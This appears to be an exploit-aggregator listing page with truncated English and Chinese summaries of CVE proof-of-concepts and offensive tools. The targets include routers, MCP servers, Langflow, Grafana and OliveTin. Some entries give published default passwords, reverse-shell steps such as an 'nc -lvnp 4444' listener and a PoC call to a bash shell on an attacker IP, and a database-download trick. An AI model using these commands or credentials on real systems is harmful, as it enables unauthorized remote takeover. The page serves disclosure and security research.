Apache APISIX - Remote Code Execution

A default configuration of Apache APISIX with default API key is vulnerable to remote code execution. An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. When the admin key was changed or the port of Admin API was changed to a port different...

Netsweeper 4.0.5 - Default Weak Account

The Web Panel in Netsweeper before 4.0.5 has a default password of 'branding' for the branding account, which makes it easier for remote attackers to obtain access via a request to webadmin/. id: CVE-2014-9614 info: name: Netsweeper 4.0.5 - Default Weak Account author: daffainfo severity: critica...

Jfrog Artifactory <6.17.0 - Default Admin Password

Jfrog Artifactory prior to 6.17.0 uses default passwords such as "password" for administrative accounts and does not require users to change them. This may allow unauthorized network-based attackers to completely compromise of Jfrog Artifactory. id: CVE-2019-17444 info: name: Jfrog Artifactory...

hekate

Hekate - VMWare Workspace ONE Access 远程代码执行漏洞利用 奇虎360漏洞研究所的 Steven Seeley 原始恶意 MySQL 服务器由 LandGrey 提供 Details Hekate 的发音为 heh-ka-teh 日期：2022年2月22日 星期二 13:37:00 CST 版本：21.08.0.1（最新） 文件：identity-manager-21.08.0.1-19010796OVF10.ova 文件 SHA1：69e9fb988522c92e98d2910cc106ba4348d61851...

netgear-telenetenable

telnetenable.py Paul Gebheim 翻译自以下网址提供的 C 语言源代码： http://wiki.openwrt.org/oldwiki/openwrtdocs/hardware/netgear/telnetconsole 运行： python telnetenable.py IP - 你的 Netgear 设备的 IP 地址，通常为 192.168.1.1 MAC - MAC 地址应为你的 Netgear 设备 LAN 端口的 MAC 地址，不含 ":"。例如："00:40:5E:21:14:4E" 应写成 "00405E21144E"。 Username -...

CVE-2024-12856

CVE-2024-12856 这是一个针对四信（Four-Faith）路由器型号 F3x24 和 F3x36 的漏洞利用程序，用于获取反向 Shell。 “四信路由器型号 F3x24 和 F3x36 受到操作系统（OS）命令注入漏洞的影响。至少固件版本 2.0 允许经过身份验证的远程攻击者通过 apply.cgi 修改系统时间时，通过 HTTP 执行任意操作系统命令。此外，该固件版本存在默认凭据，如果未更改，实际上会将此漏洞转变为未经身份验证的远程操作系统命令执行问题。” 来源：nist.gov 此脚本基于 VulnCheck 观察到的载荷。 使用方法...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspector 是一个面向 MCP 服务器的本地优先开发平台。在 1.4.2（及更早）版本中，存在一个 RCE 漏洞，攻击者可发送精心构造的 HTTP 请求来安装 MCP 服务器并远程执行代码，因为该服务默认监听在 0.0.0.0（而非 127.0.0.1）上。 运行方法： 1. 设置相应的端口和 IP 2. 在攻击者机器上设置监听器，例如 "nc -lvnp 4444"（或任意攻击者端口） 3. 执行命令 "python3 run.py"，使用 --target https:// --command echo...

CVE-2021-32157

CVE-2021-32157 使用 Docker 构建一个易受攻击的 Webmin 虚拟环境容器 构建 如果出现与下载相关的错误，请注释掉 dockerfile 的第 15 行，并运行 dockerfile 的第 14 行。 root@kitploit: docker build -t VulnWebmin . docker run --name VulnWebmin -d --rm -p 10000:10000 VulnWebmin 登录 root@kitploit: 访问 http://SERVERIP:10000 ID/密码：root/123456 漏洞利用 要使用漏洞利用脚本，请...

CVE-2021-43798

CVE-2021-43798 运用golang写的批量验证脚本，内置48个验证 python写的人太多了，试着学学golang 食用 把url地址保存为url.txt然后在当前目录运行go run CVE-2021-43798.go,有漏洞的地址保存为test.txt 利用 验证存在后访问 var/lib/grafana/grafana.db 即可下载这个数据库文件打开 user 的表 密码是加了盐的，一般无法破解（加盐是为了应对短密码被彩虹表爆出来也就是碰撞盐（salt）是个随机值，加密大概公式为 md5 md5 passwd+salt 每多一位破解难度成指数上升） 发现这 login...

PT-2026-89613

IBM ContextForge MCP Gateway 1.0.0 through 1.0.7 could allow a remote attacker to gain administrative access due to the use of default credentials...

credential-attacks-toolkit

CredAttack — Credential Attacks Toolkit ⚠️ LEGAL NOTICE — Authorised security testing ONLY. Using this tool against systems you do not own or have explicit written permission to test is illegal under the Computer Fraud and Abuse Act US, Computer Misuse Act UK, and equivalent laws worldwide. See...

craftcms-vcard-exploit

Craft CMS vCard Plugin Deserialization Vulnerability Craft CMS has a plugin for downloading contacts in a .vcf file format titled "vCard". The plugin can be reviewed in Craft's repository and Github: Craft Plugin Store Github Description This plugin takes a parameter sent by the client, decrypts...

CVE-2026-0770

🚀 CVE-2026-0770 – Langflow RCE execglobal PoC Langflow 中的远程代码执行漏洞 📌 受影响软件 该漏洞影响： Langflow 🧠 漏洞概述 CVE-2026-0770 是以下端点中的远程代码执行（RCE）漏洞： root@kitploit: /api/v1/validate/code 当启用 AUTOLOGIN=true 且使用默认凭据时，攻击者可以： 🔓 绕过身份验证 💻 执行任意系统命令 ⚠️ 完全控制服务器 该问题源于验证过程中不安全的 Python 代码评估。 ⚙️ 安装 1️⃣ 克隆仓库 root@kitploit: git...

CVE-2026-20169

IoT-FND 概述 功能 网络发现 扫描器检查指定的IP范围，寻找暴露预期管理服务的设备。 示例检查： IP范围枚举 TCP端口可用性测试 服务发现 基本连接验证 Windows原生实现 使用原生Windows API构建： WinINet WinHTTP Winsock Windows网络库 无需外部框架。 工作原理 研究流程： root@kitploit: Target IP Range | v Port Discovery | v Management Service Detection | v Authentication Testing | v Security...

iron-proxy

iron-proxy The problem CI jobs, AI coding agents, and sandboxed containers can make arbitrary outbound requests. A compromised dependency, a prompt injection, or a malicious build step can exfiltrate secrets, phone home, or open a reverse shell. Most teams have zero visibility into what's leaving...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector 未认证远程代码执行 MCPJam Inspector -i -p -m 反弹 Shell 示例 步骤 1 — 启动你的监听器： root@kitploit: nc -lvnp 4444 步骤 2 — 运行漏洞利用脚本： root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash 载荷方法 如果目标上 busybox 不可用，请尝试其他方法： root@kitploit: bash python3...

Security Bulletin: IBM ContextForge MCP Gateway is affected by use of default credentials

Summary IBM ContextForge MCP Gateway contains three password configuration fields platformadminpassword, defaultuserpassword, and basicauthpassword that ship with the publicly known default value "changeme". When an operator enables basic authentication apiallowbasicauth or the administrative UI...

CVE-2026-63563

CVE-2026-63563 - Sharp MX/BP 多功能打印机上的未认证通讯录修改 厂商公告： Sharp 产品安全公告 2026-004（发布于 2026 年 7 月 31 日） 概要 Sharp MX/BP 系列多功能打印机在默认配置下通过设备 Web 界面暴露通讯录，且无需任何认证。远程未认证攻击者可以查看并修改已配置的扫描目标（如 SMB 网络文件夹、FTP、桌面和电子邮件），而无需知道或替换存储的凭据。 存在两个主要的攻击向量，分别导致： 1. 凭据窃取 ：将现有扫描目标重定向到攻击者控制的基础设施，导致打印机使用存储的账户向该基础设施进行认证（前提是设备联网）。 2...

CVE-2026-30225-OliveTin-RCE

OliveTin — 未认证操作执行 → RCE（+ CVE-2026-30225） 针对以出厂 guest 默认配置运行的 OliveTin 实例的提权 / 远程代码执行 PoC。已在 以 root 身份运行的 OliveTin 3000.10.0 （HTB: Enigma ）上验证，可获取未认证的 root shell。 ⚠️ 仅限授权测试。 发布目的为教育、CTF 练习与防御性研究。针对非您所有或未经明确书面许可的系统使用本工具属违法行为。不提供任何担保。参见 LICENSE。 漏洞 A. Guest 可执行操作（不安全的默认配置） OliveTin 的示例 / 默认配置包含：...

CVE-2026-56121_exploit

CVE-2026-56121 — Feast Registry Unauthenticated RCE dill.loads 在 Feast 特征存储的 注册中心 gRPC 服务器 中存在未授权远程代码执行漏洞。 ApplyFeatureView RPC 会从请求的 proto 中重建一个 OnDemandFeatureView。在此过程中，它会对 spec.userdefinedfunction.body 进行 base64 解码，并将其传递给 dill.loads — 且发生在任何授权检查之前 。dill 是 pickle 的超集，因此如果一个对象的 reduce 返回...